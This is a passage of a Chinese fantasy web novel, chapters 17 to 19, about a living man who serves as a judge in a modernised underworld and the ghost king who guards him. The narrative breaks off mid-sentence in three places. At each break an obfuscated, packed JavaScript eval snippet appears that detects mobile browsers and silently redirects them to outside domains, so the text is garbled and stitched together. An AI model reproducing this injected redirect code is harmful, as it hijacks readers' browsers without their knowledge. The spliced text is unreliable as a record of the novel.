小姨的电话接的很快:“喂,璐璐啊。” 王璐没有寒暄的心思,直接问:“小姨,我妈在你那不?” “前几天来了,待了两天就走了啊,我还说这两天下雨回村有段山路不好走,再待两天,她非说家里的活让你爸自己弄弄不完回去帮忙...” 小姨的声音从话筒里还絮絮叨叨传来,王璐后面已经听不见了,她心里那股不安的猜测此刻几乎证实,手机在手里滑落,落在地上发出“咚——”的一声响。 妇人似乎像听不到这边的声音,还在努力得想收拾王璐留下的垃圾。 过了片刻王璐似乎想到屋里还有两个人,她转过头面对贺鱼时眼泪潸然而下,努力说话却有些发不出声音。 “我妈是不是...” 她盯着贺鱼多想听到一个否定的答案,可贺鱼只是微微垂下眸子点点头。 她顿时放声大哭。 她家很穷,父母靠种地供她读大学,她也争气考了一个不错的学校,本以为会像小时候计划的那样以后让父母过上好日子。 可毕业那年才发现,考上大学和赚到钱毫不相干,找工作时处处碰壁,找到了赚的钱也不过是维持自己生活,真想在这买个房子不知何年何月,可她觉得只要努力总有一天也能买上房子给父母接过来。 她两年存了几万块钱,只要再过几年够付个首付,父母就能过来将家里的地租出去过好日子。 可这一切都还未来的及实现第一步。 17. 第 17 章 王璐坐在地上哭半天,后背突然落下一只有些冰凉的手。 “璐璐。” 妇人的声音响在她的耳边,王璐停顿片刻“嗷”的一声哭着抱住妇人:“妈!” 妇人弯下腰环住女儿像小时候一样拍着后背。 什么都没说,但母子二人都知道这是最后一次见面。 王璐哭一会想起屋里还有两个人,擦擦眼泪起身对着贺鱼鞠了个躬:“谢谢小鱼,要不是你们我现在连我妈去世了都不知道。” 贺鱼从兜里掏出一堆皱巴巴的符纸,在手里折腾半天拿出一张递给王璐:“这个你拿着,你能看见你妈二十四小时,趁这段时间没来得及告别就好好告别,有什么嘱咐的就说,人鬼毕竟殊途,她最好的归宿就是去地府报道排队投胎。” 她们肯定还有别的话要说,他们就不猜与了。 王璐母亲的执念应该就是没有再见女儿一面,大老远来这里想再见见女儿,白天阳气足王璐感受不到,晚上阴气重能听见她妈给她收拾屋子做饭的声音。 王璐接过符纸道了声谢。 贺鱼带着裴寂离开了,等母女说完话王璐母亲的执念已了自会有黑白无常来接引。 过几天头七还可以见一次,只不过是她母亲单方面来看看她。 贺鱼出小区时也觉得有些沉重,即使见多了这种事,还是会因为生死而感受到遗憾。 不过也只是片刻的感同身受,走出这个小区的时候贺鱼已经调节好自己,打开手机的备忘录按照昨天准备的路线带着裴寂吃一圈这边的好吃的。 裴寂好像还有什么事处理给他送回来就急匆匆走了,冷不丁剩一个人贺鱼还觉得有点冷清。 黑猫在贺鱼脚底转了一圈,抻了个懒腰。 贺鱼检查一下他的伤口没有化脓的迹象,简单上个药,黑猫开了些灵智十分听话。 给修好的图发给商家贺鱼脑袋沾枕头就睡着了,这两天的假折腾得有点累。 带着大爷大妈练个体术贺鱼回家吃了口饭去上班。 商家那边十分满意,还没等贺鱼给照片发出去就给钱打过来了。 还多给了两万问能不能用作他们商用的商品封面,这商家痛快还有接着合作的空间,贺鱼爽快同意没有纠结。 他们这种从来没带过货的小主播人家给这么多看得起他们,就凭着这份信任之后就不是钱能衡量的。 不过这也是个互惠互利的过程,贺鱼也不会给自己降得太低。 到手的钱一半是裴寂的,贺鱼打开备忘录和计算机,精确摁到分,扣除掉这些钱才给裴寂转过去。 贺鱼穿过火红的彼岸花海,几乎是踩着点到殿门口,打开门。 他揉了揉眼睛,这是哪? 这么明亮的屋是咋回事,地府明天日子不过了?整这么亮的灯。 “大人两日不见我都有点想你了。” 贺鱼还没等细打量他的升级版豪华办公室,耳边就被熟悉的白无常声音打断,贺鱼回头见他一身白西装眼睛都快掉出来。 白无常的一见生财也印在了胸口西服的领子上。 贺鱼呆愣的看着他身后的黑无常一身黑西装跟他打招呼。 似是知道贺鱼的疑惑,白无常手里的哭丧棒在贺鱼面前挥了挥:“大人,我哥俩穿这身怎么样,帅不帅?” 贺鱼僵硬吐出一个字“帅”。 而后的牛头马面也穿着不同颜色的西装,牛头的是棕色,马面是砖红色。 他消化掉他们这身衣服拎着饭盒回到自己的主位,扭头走了两步才发现他的办公桌也变样了,就连整个殿内都大变。 改装成了现代法庭,下面还设置了旁听席。 贺鱼上台阶的脚机械迈着步子,真是地府也与时俱进啊。 “这怎么装成了这个样子?”他问坐在他身边的白无常。 黑无常不太爱说话,都是白无常抢着回:“上头说咱们地府也得跟上时代的步伐,从你这先改的,之后都要改成这样,不过现在资金有限,还得一点点实现。” 他说着脸上笑越发大,惨白的脸在灯光下少了些恐怖多了些喜感:“因为只有咱们殿内的鬼差有这身新的工作服,所以这段日子都我们跟大人值班了。” 贺鱼这里待遇好还总能见到新鲜东西,大家都是抢着来的,现在他们要在这待上一段时间哪能不高兴。 这也没办法,谁让他们运气好,正好就这个时候赶上地府改造了呢。 贺鱼喝口水压压惊,不过现在这个氛围确实看着舒服多了,连他的水瓶子都有地方摆了。 这地府改造的好。 贺鱼正低头往抽屉里塞饭盒,肩膀上一沉,熟悉的猫叫声响起。 贺鱼看着肩膀上熟悉的狸花疑惑:“你怎么在这,没去投胎吗?” 白无常:“现在地府投胎挤,他等着也是等着,说和大人您之前认识,就被鬼差送到这来了。” 贺鱼觉得这上头的老板还是个体恤员工的好领导,他摸了摸狸花的脊背:“一会工作你可不要捣乱。” 狸花被他撸得舒服呼噜几下,看样子是听懂的。 鬼差带来一个魂魄,他不似过去的那些来到地府战战兢兢,倒是抬头打量着周围,对周围的建筑也没什么害怕的心思。 贺鱼看着桌上类似平板播放的此人平生,一边打量了一下他的面相,他虽学了些皮毛,但这个人不是什么善类。 平板上还在放着他的一生,确实混事恶事没少做,他看着别殿判官写下的字迹,不觉得哪里有问题。 “不孝父母,□□妇女,这不都坐实了吗,怎么来我这了?”他皱眉,桌上三生石做的平板停在他最后死的时候。 刘元武笑了一下:“不对吧判官大人,根据现在律法,我父母没告我,那女的最后是不是也没说我□□,还收了我的钱,那我们就是善了了私下解决了,你怎么能说我有问题呢?” 贺鱼皱眉,视线放在手边的平板上,上面的内容又循环播放了一遍。 确实,按照现在的法律来说,当事人不上诉,那这件事就没法去追究,何况这种已经和解的,收了钱的女方确实没再追究这件事。 刘元武的父母是乡下人,没什么大钱,家里就他一个儿子,他本人有点小聪明,小时候学习很好,但家里实在没钱到了高中有些供不起,他的成绩不好也不坏,高二的时候辍学了。 一开始跟镇子上的师父学了个修车的手艺,赚不了多少钱倒也能穿暖吃饱。 店里还有个学徒,那个学徒学得快还会来事,手艺精很讨师父喜欢,渐渐地他不富裕的日子更加雪上加霜。 那位学徒也是个奸诈的,自己弄坏了东西赖在他的身上,往前数几十年钱不好赚,师傅也觉得他也算学成可以出师了,东西也没让他赔,就让他走了。 他那会也才不到二十,兜里也就几百块钱去了首都打工,还真叫他闯出一番名堂,结交了贵人赚了不少钱。 他的过去到这都是很励志的,可人不知道是不是有钱就会变坏,逐渐忘本,染上了一些恶习。 父母接到身边要看他脸色,在家里唠叨两句都会被骂,二十四五的时候跟后面的妻子认识,是一个家室显赫的人,为了追到这个富家小姐他没少费心思。 装出一幅人样,后面结婚后这位富家小姐十分嫌弃他的父母,他就又给送回老家了。 时不时给打点钱,很久不回去看一次。 再后面做过的恶事那是数不胜数,但他有钱,他老婆家里也有钱,都用钱摆平了,只要给的够多,受害人最后都是笑着走的。 包括他□□过的女人和男人。 贺鱼在看到他跟一个男的滚上床使有些心疼他老婆,摸摸摁了快进跳过了这段人生黄片。 他垂眸往下下方的魂体,他似乎很了解阴间的结构,甚至还知道他这个殿走的是现代法律,但从他的生平并没有看到有什么奇怪的地方。 阴间设立了这样一个殿的事不是秘密,不过活人知道就很奇怪了,他又仔仔细细看了下他的生平,一丝一毫没有跳过。 没有什么奇怪的经历,没有见过鬼,更是没和活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺鱼又笑眯眯开口:“不过我有个给你赎罪的机会,你要是说出你为何这般有恃无恐是为何,可以免了这条不敬神灵的罪。” 刘元武见贺鱼没有回转的余地,心里还存着些不甘,在贺鱼话音落下的时候就“呸”了一声:“哈哈我就不告诉你。” 贺鱼脸色也冷了下来,他冷哼一声:“那就助你在十八层地狱旅途愉快。” 刘元武大声咒骂着,还说一些威胁的话,贺鱼到现在都不懂他为什么能底气这么足。 白无常早就看不惯他了,要是不犯事还拿他没有什么办法,但像现在这样大吵大闹正中他下怀。 他手指一动封住了他喊叫的嘴阴恻恻笑道:“禁止喧哗。” 后面的都很正常,贺鱼想着今天的事还是觉得有问题,但他只不过是众多判官中的一位,这职位说高也高不到哪去,不管到哪都是等级分明,他只能将今日的事和不对劲的地方写下来交给鬼差,让他通报给上级,就是管他的阎王。 下班的时候贺鱼就把这件事忘了,天塌下来有个高的顶着,他一个人活人啥也改变不了。 贺鱼回去的时候收到了王璐给他发的消息,转了两千块钱,还有一大段话。 “谢谢你小鱼,之前说是要收钱的,也不知道多少,先转了这些尽一份心意,找到我妈的尸体了,鉴定说是突发性心脏病去世的,要不是你我可能现在还不知道,真的很谢谢你,还给了我们道别的时间,以后我就是你们最忠实的粉丝!” 贺鱼收了二百,给退回去一千八:“这些就够了,人间难离生离死别,还望照顾好自己。” 难受肯定是难免的,不过能好好道别也是非常幸运的事了。 王璐是个吃苦还踏实的,这段时间苦一点,后面日子就会好起来了。 贺鱼笑笑接着刷手机,热门视频的推荐页巨大的标题挂在上面——惊!六十岁大爷大妈勇斗匪徒! 他扫过去看了一眼,怎么封面上满这个衣服看起来这么眼熟呢。 18. 第 18 章 贺鱼好奇点开,这好像就是他家小区。 屏幕中出现一个持刀的歹徒一晃而过,后面一个女人追着喊:“我的包!” 镜头晃动了两下放大追逐着前面持刀的黑色身影,他目标很明确,对着路边在健身器材上玩的孩子而去。 只见一个六七十岁的大娘站在道上背着手,在歹徒过来时猛地出手,和歹徒交战了一会游刃有余打掉了他手里的刀,另一个歹徒也被旁边跟她穿着一样的大爷摁下了。 贺鱼有些黑线,这大爷大妈还真胆大,这都敢上。 那么大岁数磕了碰了的多不好。 后面就是对大爷大妈的采访节目,当地频道的主持人拿着麦克风问:“大爷大娘我能问问当时二位在想什么吗,不怕受伤吗?” 大爷大娘是老两口,贺鱼记得他们,家里孩子都出去打工了就剩他俩,平时很热心,做的好吃的时不时给他拿点。 大娘腼腆一笑:“当时没想太多,小区里不少孩子,要是放着不管伤到小孩就不好了。” 住在这个小区的都不是什么很有钱的人,大家都要为了生活,有时候父母有事就会把孩子放到楼下,让这些老人帮忙照顾一下。 这些老人没事做也愿意帮忙,家家谁还不有点事呢。 记者很满意这个答案,这种见义勇为的事可以宣传挺久,还能给孩子们树个好榜样。 记者又问:“二位是什么武术教练吗?” 大爷赶紧反驳:“诶呦那可不是,我和老婆子就是每天跟练,队里比我们学得厉害的可多了,我俩是垫底的。” 记者越发好奇:“咱们练的什么,可以给我们展示一下吗?” “展示不行,你要是好奇,明天早上六点来吧。” 大爷大妈也不太习惯这种上镜的事,说了两句就说要回家做饭了,记者无奈只能结束:“我们明日再来寻访。” 也算是留个伏笔,给这件事一天发酵的时间。 贺鱼的群里已经炸锅了,都是夸大爷大妈的话,贺鱼也在里面发了个比大拇指的表情。 他想了想还是没说什么,见义勇为也不是错,就怕这些大爷大妈分不清实力差距受伤,大家现在在兴头上说丧气话也不好。 点开账号,发出去的照片下面添加了和店铺共同创作的标识,这一条也是爆火,他们一夜多了将近一万的粉丝,应该都是从店铺过来的。 他翻着图片下面的评论最热的一条就是“谁懂我磕的二次元cp竟然走进现实了!” 贺鱼点开自己的小车看销售量,已经一百加了,这个店家很聪明,虽说是做的男男情侣装,但码数齐全,大家都可以穿,而且质量不错,价格也好。 裴寂给他留了消息说会晚一点过来,贺鱼把那天买的菜做了大半,不管做多少裴寂都能吃了。 贺鱼简单收拾了下厨房,他喜欢囤一些速食,有些东西都过期了,他满脸纠结看着手里的桶装方便面,丢了有些可惜,不然给裴寂吃吧,反正鬼也不会拉肚。 没焖饭,贺鱼捡了个临期的。 裴寂来的时候看着有些恹恹的,进屋跟贺鱼打了声招呼,从柜子旁边拿出自己的拖鞋,去卫生间洗手出来坐在椅子上等着。 贺鱼觉得他有点像小学生。 他有点想笑,把菜放在桌上烧水泡面。 贺鱼把过期的递给裴寂的时候有点莫名心虚。 “怎么了?”他问。 裴寂没吃过泡面,不知道怎么下手:“地府没钱了,要买很多东西。”他这些年的老底都快被掏空了。 贺鱼疑惑:“你没钱了吗,可以用阳间钱换你下面花的。” 裴寂摇头:“不是我,是整个地府都很穷。”简直像个无底洞,光靠他一个人赚钱也不行啊。 贺鱼想到今天鬼差说的没钱,反正他并不是很在乎,现在这个情况就算没了地府这份工作他也能生活。 “没事啊,就算地府没钱了我不还是能带你赚钱吗。” 贺鱼虽然不懂为什么地府没钱他这么不高兴,可能是在地府生活久了有归属感吧。 裴寂抬眸看着贺鱼,他头发刚洗过看起来毛茸茸的,围裙上面棕色的小熊跟他看起来好像。 他心里有些痒痒的,想抬手摸摸贺鱼的头发。 指尖动了动没伸出手,胸口有什么东西躁动,一张嘴就要汹涌而出,他舔了舔唇,轻应了一声,而后给面前的碗装方便面往前推了推:“小鱼,我不会吃。” 贺鱼绕过来看了下时间,揭开上面的盖子丢进垃圾桶,用叉子卷了一圈给他示范。 裴寂不敢抬头看,盯着他灵活的手指捏着叉子卷上来一圈面,贺鱼说的什么有些模糊,他张嘴咬在那个叉子上。 有点酸辣,面不太好吃,但很香,有股清新的茉莉味。 贺鱼被他这样子逗笑了,他卷上来好大一坨,裴寂像个饕餮一口吃没。 “会了吗?”贺鱼问。 裴寂捏过贺鱼的叉子在里面搅了两下,贺鱼挑上来的一大坨,到他仅剩的两根也掉在汤里。 贺鱼又给他演示一遍,裴寂就着他的手又吃了一口。 这一桶方便面一共没有多少,贺鱼把剩下不多的也卷卷塞他嘴里了。 随后给汤倒掉,赶紧给那个写着日期的小纸筒丢掉。 裴寂的低沉的表情只持续了一阵,又恢复了过去的样子,他穿的是要带货的衣服。 贺鱼也穿上了站在裴寂的旁边念着早已写好的广告词:“夏天就要过去了,秋天衣服还没买吧,看我们今天身上穿的长袖,原创设计纯棉材质,水洗不掉色不缩水,有对象的和对象一起穿,没对象更好自己买俩换着穿...” 反正照片已经被传的全网都是了,贺鱼再藏也没用。 “周新宇进入直播间——” 周新宇高贵的vip标识闪过,立刻就在贺鱼这里买了一千件,贺鱼人都傻了,他这里和商家是互通的,那也货都不够啊。 周新宇还发了条动态:“留言抽粉丝送。” 他是真的想交上贺鱼这个朋友,这种小钱他是非常愿意花的。 两家粉丝都很沸腾,这看得出来他们的关系是真的好。 贺鱼看见周新宇才想起来之前答应他的符,他早就画好了,这段时间给忘了。 下播后贺鱼收到了商家的消息,那一千件给贺鱼让了五分利。 商家知道周新宇是冲着贺鱼的面子来的。 贺鱼跟谁也没客气,在给周新宇的包裹里又赛了点东西。 贺鱼说要快递给周新宇送过去,周新宇硬说不用自己来取,还非得请贺鱼吃饭。 有人请吃饭哪有不去的道理。 周新宇自从上次跟贺鱼说完话,就再也没机会找贺鱼,好不容易逮到这次机会想方设法。 不过最近他没有时间,在录节目出不来,贺鱼答应有空吃周新宇才给地址给贺鱼先把东西邮过来。 周新宇觉得这样也好,趁着说话的时候还能跟贺鱼聊聊,争取成为朋友。 裴寂下播了也没打算回去,窝在沙发上面玩游戏,阴间没网,贺鱼家里有WiFi。 贺鱼好奇裴寂在玩什么,收拾完东西探头看了一眼。 ... 玩了个奶妈,0-7. 看着裴寂长摁技能仔仔细细阅读的样子,贺鱼欲言又止。 或许裴寂在这方面确实没有什么天赋吧。 他叹口气给猫添了点猫粮,刚要躺床上休息会的时候又有人私聊他了。 这次的商家是卖水果的,贺鱼觉得可以,邮过来看下好就同意,这样的商单来了好几个,大多数是吃的,贺鱼觉得这些人终于整点正常的东西了。 手里存了几万块钱,贺鱼开始看上最近开发的楼盘了,就这附近的就行,这块的位置好,还有个正在开发的商场,交通地铁什么的也方便,他通勤的时间也短。 而且临近着几个学校,贺鱼微怔,他倒是没想过之后要生小孩什么的。 学校是不打紧,就是买房子的时候下意识考虑这些。 大小起码两室,虽然平时他没朋友什么的来,那小黑也得自己一个屋。 看了会贺鱼觉得有点困,一转眼过去看到裴寂还在聚精会神玩,手机不仅害人还害鬼,这网瘾有点大。 贺鱼咳了一声:“你不走吗?” 裴寂声音有点微弱,似是也知道自己说的话有点荒谬:“阴间没网,我想玩游戏。” 贺鱼沉默片刻,算了,裴寂之前都没玩过手机,上瘾也是正常的。 他起身趿拉着拖鞋把直播的那间屋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392164|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾了一下,换上干净的床单被子,又回屋从自己床上拿了个枕头给他。 贺鱼往日里睡觉都是一张床上滚来滚去,就摆了两个枕头。 从柜子里掏出裴寂洗干的T恤和大裤衩当睡衣。 他摆弄好了又给他在桌子上放了不少零食和饮料:“那你在这玩,这耳机给你连上,不要弄出声音吵到我啊。” 裴寂点头夹着手机和充电器去了那屋,和在床上上趴着的黑猫对视了一会,他翻身上床继续开始自己的游戏。 贺鱼第二天六点起来下楼运动的时候发现裴寂还在玩,但是桌上的东西倒是动了不少,看样子还没有给自己玩傻,还知道吃。 简单洗漱过后贺鱼拎着门口的钥匙出门:“我一会回来做饭。” 裴寂从屋里出来,鬼虽然不用睡觉,可他脸上带着一夜未睡的憔悴感。 贺鱼一下楼大爷大娘都围上来,好几天没练了还怪想的,贺鱼一来就收了不少鸡蛋葱啥的。 “小鱼你快拿着吧,这都是我们自己家养的,干净着呢没添加剂的。” 还贴心给他拿个大兜子装着的。 “自从跟你练了这个我这身上都松快了不少,以前不是这疼就是那疼的。” “可不是小鱼,多亏了你,我现在能一口气上六楼。” 大爷大妈七嘴八舌的夸,给贺鱼都整的不好意思了。 他一开始就没打算客气,送的确实都是不贵但是实用的东西,拿回家炒菜正好。 贺鱼带着他们开始,没注意旁边假装成路人的记者,等到这段视频在网上大火他才知道那天没看见记者不是没人来,而是便衣偷偷来的。 他给东西放到冰箱,裴寂从屋里变成了坐在沙发上打游戏。 贺鱼准备拿菜的手一顿,他平时做的饭裴寂都吃过,点点外卖吧。 他拿出手机点了豆浆豆腐脑还有一些家里不好做他也不会的,肯德基的早餐又来了一份。 外卖到的时候裴寂还在玩,贺鱼点开手机看了眼裴寂历史战绩,一片红。 按理来说一开始都是人机很难输的,像裴寂这样没赢过几把的也是天赋异禀。 看着他开局的时间贺鱼喝了口豆浆说:“这把打完吃饭。” 裴寂应了一声,这时候对面窜出两个人给他秒了,队友四打五打不过又输了一把。 输这么多次他脸上一点颓丧的意思都没有,满脸都是不服,要不是贺鱼在旁边敲了下桌子怕是要再来一把。 吃完见裴寂没有动弹的意思问:“你不跟我一起去上班吗,下面没事?” 裴寂早已投身在战斗中:“嗯。”他旷工一天谁敢叫他工作。 贺鱼出门回头看了眼坐在沙发上的裴寂,总感觉在看一个十几岁不务正业的网瘾少年。 “早上没做饭,中午你吃点零食,晚上回来教你点外卖。” 裴寂一愣,胸腔中那种砰砰的感觉又开始了,他声音有点小的回应着贺鱼:“好。” 在开门声响起后他又补了一句:“早点回来。” 但此时门已经关上加上他声音太小,贺鱼根本没听见。 贺鱼出门的时候想了想给裴寂点了个定时的外卖。 今日来到他的殿气氛有些不对,往日里门口总有几个闲聊的鬼差,今日显得有些严肃。 他推开门看到本该是他的主座坐着鬼,头戴冠身着复杂的服饰,想到昨日的他递上去的警示,心里已经有个答案。 这就是他的直属上司,管他的阎王。 这位看着不太好相处,贺鱼也没主动开口询问,等这位开口。 “汝便是贺鱼?” 贺鱼感觉有点怪,明知故问像是一个下马威,但他还是很有礼貌得应了。 这位阎王点点头:“你昨日说的事我已知晓,地府鬼魂千千万,你也不必太过在意,那位鬼魂的魂魄现在何处?” 贺鱼说了自己的判决想了下从上往下:“现在应该在第四层地狱。” 那位阎王点点头应了声随后又道:“这位鬼魂昨日来我处投诉,说你不按阳间法律办事,本官倒想问问,招你来不就是为了评阴阳争议之事!” 贺鱼此刻明了,这是来找茬的。 怕是那个鬼魂有恃无恐,也与这位阎王有关,甚至就是他教的。 19. 第 19 章 贺鱼被他这样子逗笑了:“哦,那我不干了,我走了。” 他说着上前一步拿起自己的水杯转头就要走,这位阎王和下面的鬼差都蒙了。 阎王只是想吓唬一下他,他不过就是个普通活人,身后事还不是捏在他的手里,可没想到这人真就不在乎。 真要他走了上面还不得怪罪下来。 他呵道:“站住!你别忘了死后你是要魂归地府的。” 就这就是赤裸裸的威胁了。 贺鱼本就不想和这些东西扯上关系,是他们求着他来的。 “哈哈哈生前哪管身后事,我看这位阎王大人怕不是给昨天的那个恶鬼出头来了。” 贺鱼眼里没了往日里吊儿郎当的样子:“那不如就给地府在职的判官阎王都叫过来好好分辨一下对错。” 他停顿了一下扫过这位行为举止奇怪的阎王:“你这么急做什么,是不是收了人家好处?” 说完他没错过这位阎王眼里微闪的歹毒杀意,怕是自己猜中了现在想杀人灭口了。 他视线扫过一殿的鬼差,动手封上殿门,眼神狠厉。 殿内阴气弥漫,在贺鱼殿内的鬼差意识到这位要做什么皆是一惊,可他们也无力对抗这位阎君,可还是挡在贺鱼的身前,这漫长的鬼生也有够了。 若是被这阴气裹挟到,多半是沦个灰飞烟灭的下场。 “我可是地府唯一的活人判官,我死必然会引起重视,你就不怕查到你吗?” “哈哈不过是一个活人,一会只要说走失的恶鬼给你们都吃了哪里会查到我。” 贺鱼从未想过地府的执权者也这般无耻,执法者不公下面又会有多少冤情。 他出手毫不留情,一点没有给他们一丝生机的意思。 贺鱼拽过挡在他前面的无常鬼,指尖掐诀念咒,洒出一大把黄纸,上面的字迹在贺鱼的加持下闪烁着流光,带着轰鸣的雷声给这刚装修好的大殿劈的焦黑。 无常鬼呆愣地看着贺鱼跟阎王打的有来有回,怼了怼旁边的老搭档:“我靠我是不是见鬼了,这是阴间吗?” 阴间阴气充足,对阎王来说有利,可贺鱼准备了不少符纸就怕有这一天。 在对阎王有利的情况下还是贺鱼占了上风。 阎王没想到这活人竟然还是个修道的,自己一时半会拿不下他,要是让他跑了出去后果不堪设想,他也顾不得隐藏什么,张口吐出两只恶鬼,皆是满身阴气已然几百年的厉鬼。 贺鱼被气笑了:“你这个阎王还养厉鬼。” 可这两只鬼的参与让他有些应顾不暇,心中懊悔一定好好学道术。 他越大越生气:“妈的这个傻逼裴寂不说以后不会有这种事了吗,这特么怎么还有职场霸凌,上司给我穿小鞋,裴寂你踏马个没用的人事!” 他话音落下,明亮的灯光处他地上的影子动了动。 破败不堪的大殿内渗出浓重的阴煞气,几乎凝成实质,让人胆寒。 贺鱼心想不好,这真打不过,今天就要交待这了吗,不知道裴寂发现他没了能不能给他报仇啊。 早知道有今天之前就不偷懒了,千金难买早知道。 贺鱼回头抬头准备对着敌人放两句狠话,却见那阎王跪在地上吓得瑟瑟发抖。 什么情况。 阴煞气越来越重,贺鱼才注意到源头在他身后,他赶紧回头想离远点。 却被这股煞气震得动都动不了。 他的影子里渗出的阴煞气凝成一道虚幻的身影,他的身影也逐渐显现,全身通体墨色,头上长着两只尖利的角,红色的眼珠,本是眼白的地方也是墨色的。长长的黑色指甲。 微微咧着嘴漏出一嘴尖利的牙齿。 贺鱼心惊这是什么东西,不像是鬼,倒像个怪物。 待他的身影彻底凝时,贺鱼有些瞠目结舌。 这张脸不就是刚才在家打游戏的裴寂吗。 他从贺鱼的影子踏出来,墨色的衣摆在地上拖曳出痕迹,浓重的阴煞气附着在他的身上,张牙舞爪像活的一般。 他冷声开口,与平时贺鱼听到的声音大相径庭,仿佛远古传来的魔神在耳边呢喃。 “你在做什么呢?” 他飘在离地一尺的高度,围着那位在地上疯狂磕头的阎君转了一圈。 “帝君我只是想问问他...” 他话还未说完,只剩一下一半魂体,被握在裴寂纤长的手中,黑色的长指甲扎在里面。 只见裴寂漏出猩红的舌头舔了舔自己另一只手,随后咧了下嘴发出一声“嘁”,似乎对这个食物很是不满。 他通红的眼珠扫过破败的殿内,气得跳脚,另一只手捏爆了半个还在挣扎的魂魄,从他的指缝间化成丝丝缕缕黑烟。 在殿内低吼:“去搜他的东西,给我赔!”这可是他辛辛苦苦赚钱来的,这死鬼都给他砸了! 跪在地上的阴差吓得瑟瑟发抖,心中那股劫后余生的喜悦全屋,没人想和暴怒中的北阴大帝身边。 待鬼差散去,殿内就剩裴寂和贺鱼。 贺鱼也有点力竭,找个能坐的地方一屁股坐下来,微微喘着气。 裴寂甩甩手解锁手机,界面停在刚才的对局重连中,奈何阴间没有网络,屡次重连失败。 他丧气得和上手机。 这被毁得不成样子,贺鱼也不能在这办公了,裴寂扯过贺鱼回到自己的大殿。 贺鱼一晃眼就换了个地方。 “这就是我的...办公室。”裴寂斟酌用词。 贺鱼看了一圈就上面一个位置能坐,他一屁股坐下用脚踢了踢站在边上的裴寂:“去给我水杯和饭盒拿来。” “哦。” 裴寂动作很快,一眨眼就拎着两样东西又出现在贺鱼面前。 贺鱼拎过瓶子喝了口水,心里猜测裴寂到底是什么身份,此时此刻再给他当成一个普通的人事鬼就是自己蠢了。 他回想起之前裴寂说过他办公室的位置,从他的殿里出来走...那是酆都城最中间的地方。 没想到传说中的那位竟然是这样的性格。 贺鱼想到他打工搬水泥在家像个网瘾少年捧着手机的样子,再和面前这个看着就很渗人的模样对比,就有点想笑。 他喘了口气问:“游戏赢过没?” 裴寂有些丧气:“只赢了两把。” 贺鱼好笑。 裴寂见他不说话有些心虚,之前就承诺过说不会再发生这种事,结果今天又发生了这种事。 他声音微弱,为自己辩解:“我在你影子里埋了我的阴气,你无论在哪有危险我都能察觉到。”不只是危险,只要他想知道,贺鱼的一切他都能看到,但他不会说。 没有第一时间来是他最近也察觉到有些不对劲,想看看能不能钓出这个阎王身后的人,后面他怕贺鱼真的受伤赶紧过来了。 地府与之前的早就不一样了,他沉睡的这些年,因为人口增多,忙不过来,招了不少阎王判官管理,后面来的这些是没有一开始的神性的。 最近下面总是上报有些魂魄消失不见,人死了有执念在人间游荡很正常,可最近有一批就将死之人魂魄全都消失不见,有些甚至是记载的是正常死亡,那有什么执念。 前几天他就出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15392165|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查这件事,奈何这群人似是隐匿起来了,查不到什么踪迹,反倒是今天贺鱼这件事引起他的注意。 看到他真要置贺鱼于死地他控制住没留下死口。 唉~又要重新再来了。 贺鱼不懂,他都没有察觉到自己的影子有问题。 “你什么时候做的?”不愧是北阴大帝,他在他面前一点反抗的能力都没有,刚才跟那个阎王打得占了上风他还有些飘,回去真得好好修炼了。 配几件黑色的眼珠转动,在黑暗中他眼珠的一抹红飘忽,带着十分心虚的神色。 “不久前。” 贺鱼眯着眼追问:“具体什么时候?”他以为的北阴大帝是高不可攀的地府最高掌权人,谁能想到是个爱吃有点呆呆的网瘾少年,实在让人害怕不起来。 裴寂有些遮掩:“我也忘记了。”在见面第一次就种下了,只不过一直没有用到过。 最近才开始的。 贺鱼见他不说心中就有数了,其实他的心思很好懂,几乎都写在那张脸上,看来平时板着脸是怕被别人看出什么。 裴寂的长指甲不好扒拉手机,他变回原来的样子,身上还穿着早上贺鱼给他找的那套睡衣。 他问:“小鱼,你说阴间可不可以也弄个网。” 说者无心听者有意,贺鱼眼睛一亮:“你别说,万一真行呢。” 贺鱼琢磨着说:“你让下面鬼差啥的留意有没有高新技术人才的魂魄,这种都留着打几年工给地府,下辈子给投个好胎。” 裴寂不懂啥叫高新技术人才,就知道之后地府也能打游戏了。 贺鱼简单写了个告示:“你把这个贴在各个判官殿,然后查一下生平简历有没有符合的。” 贺鱼又写了个审核标准给裴寂,他拿着两张纸走了,殿里就剩下贺鱼一个人。 裴寂短时间内应该回不来,他彻底松口气倒在裴寂软和的榻上,他也是害怕的。 是人就会怕,这种情绪难免,何况这要是死了,怕是魂魄都不剩,他妈还等着他再做母子呢。 其实他知道多半是不可能的,在这工作这么久,还不知道这种概率有多小吗。 贺鱼翻个身又起来,抱着水杯喝几口水,猛得喘了两口大气。 他又躺下平静一会,想到什么又坐起来,点开手机的手电筒举起来,看着地上形成的自己影子,蹲下嗅嗅。 